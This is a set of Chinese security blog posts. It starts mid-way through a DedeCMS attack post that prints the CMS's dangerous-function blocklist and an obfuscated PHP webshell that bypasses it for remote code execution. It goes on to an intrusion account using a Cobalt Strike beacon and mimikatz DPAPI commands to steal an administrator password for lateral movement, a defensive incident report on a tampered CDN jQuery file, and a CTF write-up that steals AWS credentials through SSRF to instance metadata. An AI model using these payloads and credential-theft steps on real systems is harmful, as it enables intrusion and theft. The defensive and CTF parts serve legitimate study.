User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7 Referer: http://dedecms:5135/dede/file_manage_view.php?fmdo=edit&filename=index.php&activepath= Accept-Encoding: gzip, deflate, br Accept-Language: zh-CN,zh;q=0.9 Cookie: menuitems=1_1%2C2_1%2C3_1; XDEBUG_SESSION=PHPSTORM; isg=BC0t-H7JNkY1K9KqstDirHGTPMmnimFclPBmVm8zhEQz5k2YN9gMLle10DoA_XkU; tfstk=gsmxOxa7tQAceJrHmnTljVp-sV9kxcH2mjkCj5b_cbettXgmmxVDPgwgQZNblAM1BArb7qVgi5EtQXpktHxn3xra5BAHx21QgMEa1hq6ruMWmMYktHxnhxrafBAnm2uO4We_ftsb5LE7K7wfcfNbP_wLLlNs1fZ7FRwa Connection: keep-alive fmdo=edit&backurl=&token=&activepath=&filename=index.php&str=%3C%3Fphp%0D%0Asystem%28%27whoami%27%29%3B&B1=++%E4%BF%9D+%E5%AD%98++ 但是发现 所以准备调试分析一手 $str = preg_replace("#(/\*)[\s\S]*(\*/)#i", '', $str); global $cfg_disable_funs; $cfg_disable_funs = isset($cfg_disable_funs) ? $cfg_disable_funs : 'phpinfo,eval,assert,exec,passthru,shell_exec,system,proc_open,popen,curl_exec,curl_multi_exec,parse_ini_file,show_source,file_put_contents,fsockopen,fopen,fwrite,preg_replace'; $cfg_disable_funs = $cfg_disable_funs.',[$]GLOBALS,[$]_GET,[$]_POST,[$]_REQUEST,[$]_FILES,[$]_COOKIE,[$]_SERVER,include,require,create_function,array_map,call_user_func,call_user_func_array,array_filert,getallheaders'; foreach (explode(",", $cfg_disable_funs) as $value) {    $value = str_replace(" ", "", $value);    if(!empty($value) && preg_match("#[^a-z]+['\"]*{$value}['\"]*[\s]*[([{']#i", " {$str}") == TRUE) {        $str = dede_htmlspecialchars($str);        die("DedeCMS提示:当前页面中存在恶意代码!<pre>{$str}</pre>");   } } if(preg_match("#^[\s\S]+<\?(php|=)?[\s]+#i", " {$str}") == TRUE) {    if(preg_match("#[$][_0-9a-z]+[\s]*[(][\s\S]*[)][\s]*[;]#iU", " {$str}") == TRUE) {        $str = dede_htmlspecialchars($str);        die("DedeCMS提示:当前页面中存在恶意代码!<pre>{$str}</pre>");   }    if(preg_match("#[@][$][_0-9a-z]+[\s]*[(][\s\S]*[)]#iU", " {$str}") == TRUE) {        $str = dede_htmlspecialchars($str);        die("DedeCMS提示:当前页面中存在恶意代码!<pre>{$str}</pre>");   }    if(preg_match("#[`][\s\S]*[`]#i", " {$str}") == TRUE) {        $str = dede_htmlspecialchars($str);        die("DedeCMS提示:当前页面中存在恶意代码!<pre>{$str}</pre>");   } } 发现原因是因为有 waf 直接交给一个聪明朋友 移除多行注释 $str = preg_replace("#(/\*)[\s\S]*(\*/)#i", '', $str); 防止攻击者把危险代码写在注释中来绕过检测。 危险函数与变量过滤 $cfg_disable_funs = 'eval,assert,exec,...,$_GET,$_POST,...'; 匹配并拦截使用了以下内容的代码: 系统函数:eval, exec, system, passthru, popen, assert, shell_exec 等 全局变量:`$GET, $POST, $REQUEST, $COOKIE, $_FILES, GLOBALS 动态函数调用:call_user_func, create_function, 等 一旦匹配:直接终止执行并提示危险代码。 PHP 标签与代码执行行为检测 感觉过滤还是挺严格的 绕过 waf 到 RCE 直接掏出上次的 webshell,稍微修改一下就 ok 了 <?php class User {    private $username;    private $password;    public function __construct($username, $password) {        $this->username = $username;        $this->password = $password;   }    public function __debugInfo() {        $xmlData = base64_decode("PGJvb2tzPgogICAgPHN5c3RlbT5jYWxjPC9zeXN0ZW0+CjwvYm9va3M+");        $xmlElement = new SimpleXMLElement($xmlData);        $namespaces = $xmlElement->getNamespaces(TRUE);        $xmlElement->rewind();        var_dump($xmlElement->key());        $result = $xmlElement->xpath('/books/system');        var_dump (($result[0]->__toString()));       ($xmlElement->key())($result[0]->__toString());        return [            'username' => $this->username,            'info' => '这是调试时返回的信息',            'timestamp' => time()       ];   } } $user = new User('alice', 'secret123'); var_dump($user); 原理上次大概讲过了,就是自动触发 详情可以看到蚁景网络安全这个公众号 https://mp.weixin.qq.com/s/WDWBwPQuXroBRpBPxkHOcg感谢给的平台 然后我们访问首页 成功弹出计算器
记一次内网横向破解管理员密码
前言 本文章所分享内容仅用于网络安全技术讨论,切勿用于违法途径,所有渗透都需获取授权,违者后果自行承担,与本号及作者无关,请谨记守法。 外网打点 首先一波信息收集过后,把最后收集的到的 url 拿到 httpx 去做一下存活检测 httpx 测活一下 测完活之后,搞波指纹 指纹到手,这边一般我都是拿高危指纹去漏扫一下 然后找到了一个站点 GETshell 之后找到了一个站点 直接访问如下,相信这种情况很常见,别急,其实还有利用空间,然后我对它目录扫描了一波 发现竟然有 /api/actuator 泄露,这个利用的手法很多 先遍历访问一下常见的接口 但是这个点接口权限不够,比如常见的 env 和 heapdump 访问不到 决定溜了的时候发现 bp 我的 dns 平台传来了动静 竟然有 log4j 呜呜呜,网上一堆工具,打 log4j 都到完全自动化的地步了 CS 生成一个命令,上线到 cs 上,因为不好传文件,就执行命令 07/23 15:13:23 beacon> shell whoami 07/23 15:13:23 [*] Tasked beacon to run: whoami 07/23 15:13:23 [+] host called home, sent: 37 bytes 07/23 15:13:23 [+] received output: xxxxxx\administrator 内网启动 内网信息收集 首先简单看下内网的网段 找到了内网之后我们就需要查看存活情况了,我的 fscan 没有免杀,这里只能随便看看了 随便 arp-a 看了一下 发现 c 段的主机还是很多的 systeminfo win2012 的用户,不过已经是高权限了,也没有必要提权了 然后我发现在域的时候我就先不管了,先找找凭据 凭据收集 这里没有抓取到密码 然后自己尝试了半天,大师傅提示了一些东西,我觉得这个思路也不错,下面讲讲是如何突破的 突破 当时因为还拿下了一台主机,而且是同一个内网的 查询连接信息的时候查到了之前的那个内网,我就想着可以尝试使用 DPAPI DPAPI 是 Windows 系统用来加密敏感数据(比如用户保存的密码、浏览器凭据、无线密码等)的一个加密机制 MasterKey 就是一串“主密钥”,是每个用户登录 Windows 后系统自动为其生成的,用来加密和解密数据的“钥匙” 流程 [ 用户口令 → 派生 Key1 ]       ← 用来加密 MasterKey       ↓ [ MasterKey ]               ← 用来加密 DPAPI 中的密码等敏感数据       ↓ [ 某个应用的数据(如 WiFi 密码) ]GUID     : {3cef9fc0-4319-42da-80ff-9e74470a9f7c} Time     : 2025/2/4 0:23:08 MasterKey : aed5fc1156359826c231e1079996c769cf1ee... sha1(key) : deb68bc117a3323d424a7d21a86173438e2419f7 Master Key Files 存放密钥的文件则被称之为 MasterKeyFiles,其路径一般为 %APPDATA%/Microsoft/Protect/%SID%。而这个文件中的密钥实际上是随机 64 位字节码经过用户密码等信息的加密后的密文,所以只需要有用户的明文密码/Ntlm/Sha1 就可以还原了。 当然除了 GUID 命名的文件之外,还有 Preferred,显示当前系统正在使用的 MasterKey file 及其过期时间 我这里去寻找一下 amdin 的凭证 直接拿最新的那个 然后去获取 guid 之后通过这个 guid,我们去寻找 masterkey 首先需要把全部的 masterkey 找出来 mimikatz sekurlsa::dpapi sekurlsa::dpapi 会从 lsass 中提取当前用户登录会话的 DPAPI MasterKey 解密材料(如密码、hash、SID 等),用于离线解密各种 DPAPI 加密的凭据文件 因为内容很多,直接把结果复制到记事本 然后搜索一下 太好了,找到了,然后我们直接去破解 mimikatz dpapi::cred /in:C:\Users\Administrator\appdata\local\microsoft\credentials\xxxxx /masterkey:xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx 直接获取到了管理员的密码 而且这个密码应该是集团的通用密码,后续发现这个这个内网网段的管理员都是这个密码 远程其他网段的桌面 利用这个密码,横向了大概有 9 台主机
一次暗链应急响应
0x01前言 一个从20几℃的大热天冬天天气变成寒冷潮湿阴天的天气,正躲在公司瑟瑟发抖的我,突然被拉进了一个应急群。某客户那边的站点,在打开某些特定页面的时候,会出现买虚拟货币的宣传视频,很明显又是黑灰产搞的鬼。目前已前场采集过来的信息如下: 在打开特定页面才会触发; 在特定页面也无法准确复现,尝试好一会才能复现两次; 前场同事使用的是iOS,然后其他人使用Android也可以复现; 我使用浏览器和微信浏览器打开,难以复现; 在对应服务器上未找到其音频文件; 目前使用特定运营商网络可以复现; 0x02分析 在获取目前这些信息后,有几个猜想思路: 在对应服务器没找到音频文件,这个其实我是可以猜到的,一般来说,比较可能的原因是站点源码被更改了,去请求外链在客户浏览器/移动端进行播放; 接下来是分析恶意代码存在哪里。从目前浏览器无法复现来看,猜测可能代码存在客户端上,或者本身音频文件就在客户端资源包里面。如果真是这样,那就得逆向分析APP,这就比较麻烦了。 但是其实第二条的实现是比较难的。想达到篡改APP的情况,还是官网下载的APP,难度太大了。哪怕APP没有做签名防篡改,想直接把官网的APP下载链接篡改,这个难度是最大的。没事,实践出真知!使用burp进行抓包,使用浏览器打开问题链接: 突然出现的提示,让我突然虎躯一震。有没有一种可能?浏览器打开之所以无法触发,是因为仅在移动端上才能生效。通过F12的功能,可以设置UA头为移动端,可以模拟手机发送请求: 果然。在burp里面发现了奇怪的mp4文件链接。 可以看到,被腾讯云拦截了。这可能也是复现为什么不好复现的原因。而在特定网络下,可以访问到这个,可能就是因为某些运营商可能没有做拦截。为了和前场同事确认是否为该文件,我使用了点技术手段,获取到此视频文件,发送给他。经确认,可以判断,即为该文件导致的。 那么接下来就是分析js的调用关系,查看怎么通过客户站点到该站点的。 0x03溯源 由于该请求的referer头是本身,那我们难以找到是哪个页面请求的。只能通过搜索查看: 成功在www.unionxxxx.com里面发现了该链接请求,且里面包含很多huobi的黑产链接。进一步分析链接是怎么请求来。后续在www.unionxxxx.com/ddd.html里面找到恶意链接。 那现在最后的问题就是找到www.unionxxxx.com/ddd.html与客户站点的调用关系。这也是最难的一步。为什么呢?因为不管是通过referer自动还是全局搜,都找不到www.unionxxxx.com/ddd.html链接。搜索unionxxxx字段,也没有找到其他链接。 最后实在没办法了,只能通过抓包,一步一步查看请求顺序。最后终于发现疑似链接:https://cdn.xxxxcdn.net/ajax/libs/jquery/3.6.0/jquery.js。分析该jquery文件,并未发现存在问题的代码,但是当我翻到最后面时,发现了问题: 图片红框部分,明显与众不同。事出反常必有妖!混淆加密的太离谱了,可读性实在是太差了。但是看着看着,好像发现了熟悉的东西。 这不就是那个恶意链接吗?当然这只是猜想,最后看下能不能得解开这些加密。试了网上的好多个js解密,没一个能用的。但是又在js里面看到了一个链接: 访问jsjiami.com,尝试解密: 结果不可逆!!! 后续没办法了,只能找new bing大哥帮我看看。结果,柳暗花明又一村啊! 虽然只有部分,但是够了。这样就能把所有调用关系联系起来了。 0x04结尾 该恶意链接可能是cdn站点被劫持了导致的。而这cdn链接,很多公司,乃至很多开发框架,都是使用的该链接,影响范围之大,难以想象。本来想把这个情报反馈给当地网安处理,但是在此文章写完之时,才发现,该链接已经恢复正常了,后面的加密js代码已被剔除。
wiz2025 挑战赛从 SpringActuator 泄露到 s3 敏感文件获取全解析
背景 经过几周的利用和权限提升,你获得了访问你希望是最终服务器的权限,然后可以使用它从 S3 存储桶中提取秘密旗帜。 但这不会容易。目标使用 AWS 数据边界来限制对存储桶内容的访问。 `You've discovered a Spring Boot Actuator application running on AWS: curl https://ctf:88sPVWyC2P3p@challenge01.cloud-champions.com {"status":"UP"} 解决过程 Spring Boot Actuator 泄露 首先我们分析一下,flag 肯定是在存储桶中,因为这里说了已经对我们的桶进行了限制,所以匿名访问的方法可能没有作用,不过这里还是尝试一下,首先匿名访问需要获取存储桶的名称,因为题目已经告诉了 Spring Boot Actuator明显我们可以查看 env 尝试列出 user@monthly-challenge:~$ aws s3 ls s3://challenge01-470f711/ --no-sign-request An error occurred (AccessDenied) when calling the ListObjectsV2 operation: Access Denied 不行,没有权限,所以我们必须去寻找凭证 我第一想法就是元数据 但是没有反应 curl http://169.254.169.254/latest/meta-data 估计这个 shell 不是一个 EC2 的 然后就是寻找凭据了,可以使用一些工具,比如 truffleHog 然后简单找了一下 user@monthly-challenge:/$ grep -ri --exclude-dir={/proc,/sys,/dev,/run,/snap,/var/lib/dock er} 'Secret Access Key' / /usr/local/aws-cli/v2/2.27.37/dist/awscli/botocore/data/datazone/2018-05-10/service-2.json:          "documentation":"<p>The secret access key of a connection.</p>" /usr/local/aws-cli/v2/2.27.37/dist/awscli/botocore/data/datazone/2018-05-10/service-2.json:          "documentation":"<p>The secret access key of the environment credentials.</p>" /usr/local/aws-cli/v2/2.27.37/dist/awscli/botocore/data/s3control/2018-08-20/service-2.json:          "documentation":"<p>The secret access key of the Amazon Web Services STS temporary credential that S3 Access Grants vends to grantees and client applications. </p>" /usr/local/aws-cli/v2/2.27.37/dist/awscli/botocore/data/appflow/2020-08-23/service-2.json:          "documentation":"<p> The Secret Access Key portion of the credentials. </p>" /usr/local/aws-cli/v2/2.27.37/dist/awscli/botocore/data/appflow/2020-08-23/service-2.json:          "documentation":"<p> The Secret Access Key portion of the credentials. </p>" /usr/local/aws-cli/v2/2.27.37/dist/awscli/botocore/data/opsworks/2013-02-18/service-2.json:          "documentation":"<p>When included in a request, the parameter depends on the repository type.</p> <ul> <li> <p>For Amazon S3 bundles, set <code>Password</code> to the appropriate IAM secret access ke /usr/local/aws-cli/v2/2.27.37/dist/awscli/botocore/data/s3/2006-03-01/service-2.json:      "documentation":"<p>Creates a copy of an object that is already stored in Amazon S3.</p> <note> <p>You can store individual objects of up to 5 TB in Amazon S3. You create a copy of your object up to 5 GB in si 找了也没有,常规的收集都没有发现,然后只能根据提示,继续在 spring 这个面努力了 然后去批量爆破一波查看是否有可利用的信息 然后又把 mapping 中的路由全部提取出来,看到了 proxy 路由 这个应该就是拿来访问元数据的了 元数据绕过 一般都有 ssrf 漏洞 user@monthly-challenge:/$ curl https://ctf:88sPVWyC2P3p@challenge01.cloud-champions.com/proxy?url=http://169.254.169.254/latest/meta-data/ HTTP error: 401 Unauthorized 可以看到至少是可以成功访问元数据了,只不过没有权限,因为之后采用了 IMDSv2 我们首先获取 token,使用 PUT 请求 user@monthly-challenge:/$ curl -X PUT \  -H "X-aws-ec2-metadata-token-ttl-seconds: 21600" \  "https://ctf:88sPVWyC2P3p@challenge01.cloud-champions.com/proxy?url=http://169.254.169.254/latest/api/token" AQAEAH7E4VkFWamewp6GggQ0KhjyVTbs7h4FUWC46kchGDZOu-uX_Q== 可以看到获取到了 Token,我们尝试使用 token 来访问元数据 user@monthly-challenge:/$ curl -H "X-aws: AQAEAH7E4VkFWamewp6GggQ0KhjyVTbs7h4FUWC46kchGDZOu-uX_Q==" "https://ctf:88sPVWyC2P3p@challenge01.cloud-champions.com/proxy?url=http://169.254.169.254/latest/meta-data/" ami-id ami-launch-index ami-manifest-path block-device-mapping/ events/ hibernation/ hostname iam/ identity-credentials/ instance-action instance-id instance-life-cycle instance-type local-hostname local-ipv4 mac metrics/ network/ placement/ profile public-hostname public-ipv4 public-keys/ reservation-id security-groups services/ system 可以了,我们访问凭证信息 user@monthly-challenge:/$ curl -H "X-aws-ec2-metadata-token: AQAEAH7E4VkFWamewp6GggQ0KhjyVTbs7h4FUWC46kchGDZOu-uX_Q==" \ "https://ctf:88sPVWyC2P3p@challenge01.cloud-champions.com/proxy?url=http://169.254.169.254/latest/meta-data/iam/security-credentials/" challenge01-5592368 然后使用它的凭证 user@monthly-challenge:/$ curl -H "X-aws-ec2-metadata-token: AQAEAH7E4VkFWamewp6GggQ0KhjyVTbs7h4FUWC46kchGDZOu-uX_Q==" "https://ctf:88sPVWyC2P3p@challenge01.cloud-champions.com/proxy?url=http://169.254.169.254/latest/meta-data/iam/security-credentials/challenge01-5592368" {  "Code" : "Success",  "LastUpdated" : "2025-07-10T13:26:52Z",  "Type" : "AWS-HMAC",  "AccessKeyId" : "ASIARK***WELX36",  "SecretAccessKey" : "PsrjWr+AANNHBG3n***NmUHVglRE+BV",  "Token" : "IQoJb3JpZ2luX2VjELb//////////wEaCXVzLWVhc3QtMSJHMEUCIC6AH+4pBi+UXSj7Xih2aQvR3LmiwIQ8TeL+O6Gv2iotAiEAi6CjgMDpky/IC6HpBwzG52L/ED+fizjGUTaX/5YP4KcqwQUIv///////////ARAAGgwwOTIyOTc4NTEzNzQiDGpyJeQycy6B9rX9XiqVBYrNoqF+yWFZz/IuhF6PqC8iDwPJ9uFspInzbcKaJ86Qx1issOwp+JUdXyIUaYjLrJhd+klRXKoSNxR/K/F  "Expiration" : "2025-07-10T19:47:29Z" } 有了这些我们就可以配置了首先我们进行配置 root@hcss-ecs-0d0e:~# aws configure set aws_access_key_id ASIARK7LBO**EXWELX36 --profile challenge01 root@hcss-ecs-0d0e:~# aws configure set aws_secret_access_key PsrjWr+AANNHBG3ngmwQXdCdc******mUHVglRE+BV --profile challenge01 root@hcss-ecs-0d0e:~# aws configure set aws_session_token IQoJb3JpZ2luX2VjELb//////////wEaCXVzLWVhc3QtMSJHMEUCIC6AH+4pBi+UXSj7Xih2aQvR3LmiwIQ8TeL+O6Gv2iotAiEAi6CjgMDpky/IC6HpBwzG52L/ED+fizjGUTaX/5YP4KcqwQUIv///////////ARAAGgwwOTIyOTc4NTEzNzQiDGpyJeQycy6B9rX9XiqVBYrNoqF+yWFZz/IuhF6PqC8iDwPJ9uFspInzbc 之后我们就会有这个用户的权限了 目标文件位置获取 我们首先查一下这个用户有的 bucket 的权限 首先获取当前用户信息 root@hcss-ecs-0d0e:~# aws sts get-caller-identity --profile challenge01 {    "UserId": "AROARK7LBOHXDP2J2E3DV:i-0bfc4291dd0acd279",    "Account": "092297851374",    "Arn": "arn:aws:sts::092297851374:assumed-role/challenge01-5592368/i-0bfc4291dd0acd279" } 然后我们查看对应的策略 root@hcss-ecs-0d0e:~# aws iam simulate-principal-policy \  --policy-source-arn arn:aws:sts::092297851374:assumed-role/challenge01-5592368/i-0bfc4291dd0acd279 \  --action-names s3:ListBucket s3:GetObject s3:PutObject s3:DeleteObject s3:ListAllMyBuckets \  --profile challenge01 An error occurred (AccessDenied) when calling the SimulatePrincipalPolicy operation: User: arn:aws:sts::092297851374:assumed-role/challenge01-5592368/i-0bfc4291dd0acd279 is not authorized to perform: iam:SimulatePrincipalPolicy on resource: arn:aws:sts::092297851374:assumed-role/challenge01-5592368/ root@hcss-ecs-0d0e:~# 可惜这个用户没有权限,我们直接列 root@hcss-ecs-0d0e:~# aws s3 ls --profile challenge01 An error occurred (AccessDenied) when calling the ListBuckets operation: User: arn:aws:sts::092297851374:assumed-role/challenge01-5592368/i-0bfc4291dd0acd279 is not authorized to perform: s3:ListAllMyBuckets because no identity-based policy allows the s3:ListAllMyBuckets action 没有列出桶的权限,不过我们知道桶的名称 root@hcss-ecs-0d0e:~# aws s3 ls s3://challenge01-470f711/ --recursive --profile challenge01 2025-06-19 01:15:24         29 hello.txt 2025-06-17 06:01:49         51 private/flag.txt 读取文件绕过 尝试读取的时候可惜 root@hcss-ecs-0d0e:~# aws s3 cp s3://challenge01-470f711/private/flag.txt - --profile challenge01 download failed: s3://challenge01-470f711/private/flag.txt to - An error occurred (403) when calling the HeadObject operation: Forbidden 没有读的权限 我们还是得查查存储桶的策略 root@hcss-ecs-0d0e:~# aws s3api get-bucket-policy --bucket challenge01-470f711 --profile challenge01 {    "Policy": "{\"Version\":\"2012-10-17\",\"Statement\":[{\"Effect\":\"Deny\",\"Principal\":\"*\",\"Action\":\"s3:GetObject\",\"Resource\":\"arn:aws:s3:::challenge01-470f711/private/*\",\"Condition\":{\"StringNotEquals\":{\"aws:SourceVpce\":\"vpce-0dfd8b6aa1642a057\"}}}]}" } 限制只有指定 VPC 端点(VPCe) 的请求才可以访问,否则即使有权限也会被拒绝 怎么办呢 聪明的 GPT 给出了答案 也让我想起了 proxy root@hcss-ecs-0d0e:~# curl "https://ctf:88sPVWyC2P3p@challenge01.cloud-champions.com/proxy?url=http://s3.amazon aws.com/challenge01-470f711/private/flag.txt" HTTP error: 403 Forbiddenroot 但是结果是还是被阻止了 这里可能 proxy 不在 VPC,不过我们可以验证一下 但是刚刚都读取成功了,大概率是在的 没办法,只能寻找好朋友的帮助了 首先需要了解一下 SigV4 签名,在 AWS 中访问私有资源(如 S3 对象)时,AWS 要求你的请求是已签名的 参考https://docs.aws.amazon.com/zh_cn/AmazonS3/latest/userguide/ShareObjectPreSignedURL.html 默认情况下,所有 Amazon S3 对象都是私有的,只有对象拥有者才具有访问它们的权限。但是,对象拥有者可以通过创建预签名 URL 与其他人共享对象。预签名 URL 使用安全凭证来授予下载对象的限时权限。可以在浏览器中输入此 URL,或者程序使用此 URL 来下载对象。预签名 URL 使用的凭证是生成该 URL 的 AWS 用户的凭证。 我们需要使用预签名 https://docs.aws.amazon.com/zh_cn/AmazonS3/latest/userguide/using-presigned-url.html创建预签名 URL 时,必须提供您的安全凭证,然后指定以下内容: 一个 Amazon S3 存储桶 对象键(如果将在您的 Amazon S3 存储桶中下载此对象,则一旦上传,这就是要上传的文件名) HTTP 方法(GET 用于下载对象、PUT 用于上传、HEAD 用于读取对象元数据等) 过期时间间隔 按照这个我们直接运行命令生成如下的签名 root@hcss-ecs-0d0e:~# aws s3 presign s3://challenge01-470f711/private/flag.txt --profile challenge01 --expires-in 3600 https://challenge01-470f711.s3.amazonaws.com/private/flag.txt?AWSAccessKeyId=ASIARK7LBOHXEXWELX36&Signature=WT7zPvNKLF6zr%2Fi4%2FGvqpJHoZzs%3D&x-amz-security-token=IQoJb3JpZ2luX2VjELb%2F%2F%2F%2F%2F%2F%2F%2F%2F%2FwEaCXVzLWVhc3QtMSJHMEUCIC6AH%2B4pBi%2BUXSj7Xih2aQvR3LmiwIQ8TeL%2BO6Gv2iotAiEAi6CjgMDpky 然后我们带着这个签名 但是内容一直被截断,很烦,我直接 URL 全编码后再次去访问 root@hcss-ecs-0d0e:~# curl "https://ctf:88sPVWyC2P3p@challenge01.cloud-champions.com/proxy?url=%68%74%74%70%73%3a%2f%2f%63%68%61%6c%6c%65%6e%67%65%30%31%2d%34%37%30%66%37%31%31%2e%73%33%2e%61%6d%61%7a%6f%6e%61%77%73%2e%63%6f%6d%2f%70%72%69%76%61%74%65%2f%66%6c%61%67%2e%74%78%74%3f%41%57%53%41%63%63% The flag is: ******** 成功 总结 总的来说,真的是很有实战意义的一次挑战,感觉整个过程前因后果是非常连贯的 获取桶名称-> 不能匿名访问->获取配置信息- 元数据 不能直接访问-走代理 mapping 泄露 proxy 元数据绕过 IMDSv2 安全机制 获取用户信息,查看权限 列取文件位置 vpc 限制,来联想 proxy 403,考虑预签名 URL 授予 行云流水